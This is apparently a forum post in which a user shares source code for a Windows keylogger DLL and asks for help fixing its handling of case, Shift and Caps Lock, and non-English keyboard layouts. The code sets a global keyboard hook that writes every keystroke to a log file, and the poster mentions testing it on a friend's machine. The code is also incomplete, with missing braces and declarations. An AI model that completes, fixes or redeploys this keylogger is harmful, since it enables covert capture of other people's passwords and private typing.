Hi, I finally came up with a key logger, it was tested on my friend machine, he insisted and it worked. It suppose to write in capital and small letters as well as picking up a SHIFT key, or any key, also any language. However, when I tested on my machine, it only writes in small letters and in English only, when I switch to another language it still outputs to a file with English.
Also, when I used SHIFT key it does not recognize, also CAP key and NUM key.
Here is the dll file, and of course I call it with dll caller, which is another file calling it.
HINSTANCE hInstDLL = NULL;
HHOOK hHook = NULL;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
if (nCode < 0)
CallNextHookEx(hHook, nCode, wParam, lParam);
if (!(lParam & (1 << 31)))
if (!_wfopen_s(&pFile, L"logfile.txt", L"a+, ccs=UTF-8"))
HWND hActive = GetActiveWindow();
DWORD dwThreadID = GetWindowThreadProcessId(hActive, NULL);
HKL hKL = GetKeyboardLayout(dwThreadID);
ToUnicodeEx(wParam, MapVirtualKeyEx(wParam, MAPVK_VK_TO_VSC, hKL), lpKeyState, sBuffer, 256, 0, hKL);
fwrite(sBuffer, sizeof(wchar_t), wcslen(sBuffer), pFile);
return CallNextHookEx(hHook, nCode, wParam, lParam);
__declspec(dllexport) void SetHook(void)
hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);
__declspec(dllexport) void Unhook(void)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
hInstDLL = hinstDLL;
Anyone knows what could be wrong with the code, any correction must be made.
Thanks in advance...